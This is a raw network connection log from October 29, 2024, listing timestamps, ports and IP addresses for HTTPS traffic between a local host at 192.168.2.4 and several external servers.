Oct 29, 2024 04:17:48.668589115 CET	49765	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:48.668590069 CET	49765	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:48.668615103 CET	443	49765	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:48.668962002 CET	443	49765	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:48.669050932 CET	443	49765	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:48.669151068 CET	49765	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:48.690560102 CET	49766	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:48.690594912 CET	443	49766	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:48.690804958 CET	49766	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:48.691108942 CET	49766	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:48.691122055 CET	443	49766	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:49.801016092 CET	443	49766	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:49.802519083 CET	49766	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:49.802532911 CET	443	49766	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:49.803181887 CET	49766	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:49.803186893 CET	443	49766	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:49.803420067 CET	49766	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:49.803431034 CET	443	49766	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:50.215642929 CET	443	49766	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:50.215715885 CET	443	49766	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:50.215893984 CET	49766	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:50.215914011 CET	443	49766	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:50.216489077 CET	49766	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:50.216501951 CET	443	49766	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:50.216511011 CET	49766	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:50.216845989 CET	443	49766	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:50.216934919 CET	443	49766	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:50.217025995 CET	49766	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:50.244204998 CET	49767	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:50.244282007 CET	443	49767	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:50.244373083 CET	49767	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:50.244548082 CET	49767	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:50.244566917 CET	443	49767	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:51.367835045 CET	443	49767	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:51.368304968 CET	49767	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:51.368340015 CET	443	49767	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:51.368864059 CET	49767	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:51.368877888 CET	443	49767	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:51.368932962 CET	49767	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:51.368951082 CET	443	49767	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:52.017719984 CET	49768	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:52.017813921 CET	443	49768	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:52.017903090 CET	49768	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:52.018253088 CET	49768	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:52.018291950 CET	443	49768	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:52.188815117 CET	443	49767	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:52.188870907 CET	443	49767	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:52.188915014 CET	443	49767	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:52.188945055 CET	49767	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:52.188975096 CET	49767	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:52.188999891 CET	443	49767	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:52.189260006 CET	49767	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:52.189284086 CET	443	49767	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:52.189312935 CET	49767	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:52.189629078 CET	443	49767	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:52.189702034 CET	443	49767	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:52.189760923 CET	49767	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:52.210172892 CET	49769	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:52.210192919 CET	443	49769	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:52.210257053 CET	49769	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:52.210393906 CET	49769	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:52.210405111 CET	443	49769	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:53.133646965 CET	443	49768	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:53.133737087 CET	49768	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:53.135237932 CET	49768	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:53.135257959 CET	443	49768	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:53.135571957 CET	443	49768	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:53.143913984 CET	49768	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:53.187372923 CET	443	49768	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:53.317878008 CET	443	49769	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:53.318294048 CET	49769	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:53.318306923 CET	443	49769	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:53.318861961 CET	49769	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:53.318866014 CET	443	49769	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:53.318948984 CET	49769	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:53.318953991 CET	443	49769	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:53.518470049 CET	443	49768	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:53.518526077 CET	443	49768	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:53.518569946 CET	443	49768	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:53.518697977 CET	49768	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:53.518760920 CET	443	49768	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:53.518836021 CET	49768	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:53.519591093 CET	443	49768	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:53.519634008 CET	443	49768	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:53.519659996 CET	49768	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:53.519675970 CET	443	49768	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:53.519705057 CET	49768	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:53.524741888 CET	49768	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:53.524781942 CET	443	49768	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:53.524811983 CET	49768	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:53.525095940 CET	443	49768	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:53.525193930 CET	443	49768	4.175.87.197	192.168.2.4
Oct 29, 2024 04:17:53.525248051 CET	49768	443	192.168.2.4	4.175.87.197
Oct 29, 2024 04:17:53.735291958 CET	443	49769	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:53.735327959 CET	443	49769	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:53.735388994 CET	49769	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:53.735394955 CET	443	49769	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:53.735424042 CET	443	49769	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:53.735451937 CET	49769	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:53.735754013 CET	49769	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:53.735766888 CET	443	49769	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:53.735812902 CET	49769	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:53.735918999 CET	443	49769	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:53.735959053 CET	443	49769	40.126.32.133	192.168.2.4
Oct 29, 2024 04:17:53.735997915 CET	49769	443	192.168.2.4	40.126.32.133
Oct 29, 2024 04:17:55.070902109 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:55.070996046 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:55.071122885 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:55.071558952 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:55.071592093 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:55.818013906 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:55.818093061 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:55.819580078 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:55.819606066 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:55.819823980 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:55.827397108 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:55.871335030 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.095835924 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.095854998 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.095937967 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.095961094 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.095997095 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.096025944 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.096054077 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.097708941 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.097723007 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.097778082 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.097804070 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.098531008 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.215214014 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.215281963 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.215322971 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.215342045 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.215363026 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.215388060 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.216429949 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.216447115 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.216480970 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.216490984 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.216511965 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.216527939 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.217741013 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.217755079 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.217781067 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.217791080 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.217809916 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.217824936 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.261353970 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.261373997 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.261408091 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.261428118 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.261440039 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.261574030 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.335481882 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.335509062 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.335546017 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.335562944 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.335582018 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.335592031 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.335608006 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.335608959 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.335622072 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.335638046 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.335673094 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.336402893 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.336422920 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.336467028 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.336474895 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.336489916 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.336514950 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.337270021 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.337291956 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.337323904 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.337340117 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.337359905 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.337378979 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.338205099 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.338226080 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.338263035 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.338269949 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.338294029 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.338308096 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.380073071 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.380100965 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.380140066 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.380171061 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.380199909 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.380309105 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.452809095 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.452828884 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.452862978 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.452879906 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.452905893 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.452924967 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.453072071 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.453121901 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.453130960 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.453155994 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.453169107 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.453196049 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.453221083 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.453241110 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.453254938 CET	49771	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.453260899 CET	443	49771	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.500556946 CET	49772	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.500650883 CET	443	49772	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.500737906 CET	49772	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.501588106 CET	49772	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.501625061 CET	443	49772	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.502672911 CET	49773	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.502710104 CET	443	49773	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.502834082 CET	49773	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.502975941 CET	49773	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.503000975 CET	443	49773	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.504292965 CET	49774	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.504307985 CET	443	49774	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.504416943 CET	49774	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.505405903 CET	49775	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.505418062 CET	443	49775	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.505477905 CET	49775	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.506207943 CET	49776	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.506243944 CET	443	49776	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.506335974 CET	49776	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.506360054 CET	49774	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.506372929 CET	443	49774	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.506462097 CET	49776	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.506479025 CET	443	49776	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:56.506747961 CET	49775	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:56.506761074 CET	443	49775	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.056178093 CET	49762	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:57.238435030 CET	443	49775	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.238847017 CET	49775	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.238912106 CET	443	49775	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.239377022 CET	49775	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.239392996 CET	443	49775	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.245882988 CET	443	49776	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.246218920 CET	49776	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.246248007 CET	443	49776	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.246604919 CET	49776	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.246612072 CET	443	49776	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.250705957 CET	443	49772	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.250821114 CET	443	49773	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.251085997 CET	49772	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.251128912 CET	443	49772	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.251655102 CET	49772	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.251669884 CET	443	49772	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.251877069 CET	49773	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.251909018 CET	443	49773	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.252418041 CET	49773	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.252429008 CET	443	49773	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.273488045 CET	443	49774	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.273782015 CET	49774	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.273798943 CET	443	49774	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.274199009 CET	49774	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.274209023 CET	443	49774	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.366785049 CET	443	49775	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.366935015 CET	443	49775	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.367022038 CET	49775	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.375498056 CET	443	49776	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.375556946 CET	443	49776	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.375638962 CET	49776	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.375659943 CET	443	49776	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.375694990 CET	443	49776	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.375741005 CET	49776	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.380835056 CET	443	49773	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.381037951 CET	443	49773	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.383549929 CET	49773	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.386555910 CET	443	49772	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.386580944 CET	443	49772	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.386642933 CET	443	49772	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.386643887 CET	49772	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.387547970 CET	49772	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.406333923 CET	49775	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.406363010 CET	443	49775	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.407279015 CET	49773	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.407294989 CET	443	49773	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.408335924 CET	49772	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.408335924 CET	49772	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.408387899 CET	443	49772	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.408415079 CET	443	49772	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.408927917 CET	443	49774	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.408970118 CET	49776	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.408982992 CET	443	49774	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.408998966 CET	443	49776	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.409038067 CET	49774	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.409060955 CET	443	49774	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.409126043 CET	443	49774	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.409172058 CET	49774	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.413022041 CET	49774	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.413022041 CET	49774	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.413038015 CET	443	49774	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.413058043 CET	443	49774	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.463191032 CET	49777	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.463226080 CET	443	49777	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.463335991 CET	49777	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.476799965 CET	49778	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.476835012 CET	443	49778	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.476922035 CET	49778	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.479904890 CET	49777	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.479918957 CET	443	49777	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.483242989 CET	49778	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.483259916 CET	443	49778	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.490437984 CET	49779	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.490449905 CET	443	49779	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.490531921 CET	49779	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.493624926 CET	49779	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.493635893 CET	443	49779	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.496848106 CET	49780	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.496886015 CET	443	49780	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.496958971 CET	49780	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.497256994 CET	49780	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.497278929 CET	443	49780	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.500240088 CET	49781	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.500289917 CET	443	49781	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:57.500360966 CET	49781	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.500458956 CET	49781	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:57.500485897 CET	443	49781	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.218478918 CET	443	49777	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.219043970 CET	49777	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.219063997 CET	443	49777	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.219448090 CET	49777	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.219453096 CET	443	49777	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.232717991 CET	443	49781	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.233112097 CET	49781	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.233175039 CET	443	49781	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.233437061 CET	49781	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.233465910 CET	443	49781	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.237493992 CET	443	49779	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.237859011 CET	49779	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.237865925 CET	443	49779	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.238167048 CET	49779	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.238171101 CET	443	49779	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.246278048 CET	443	49778	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.246598005 CET	49778	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.246615887 CET	443	49778	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.247136116 CET	49778	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.247143030 CET	443	49778	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.250200987 CET	443	49780	13.107.246.45	192.168.2.4
Oct 29, 2024 04:17:58.250509024 CET	49780	443	192.168.2.4	13.107.246.45
Oct 29, 2024 04:17:58.250535965 CET	443	49780	13.107.246.45	192.168.2.4
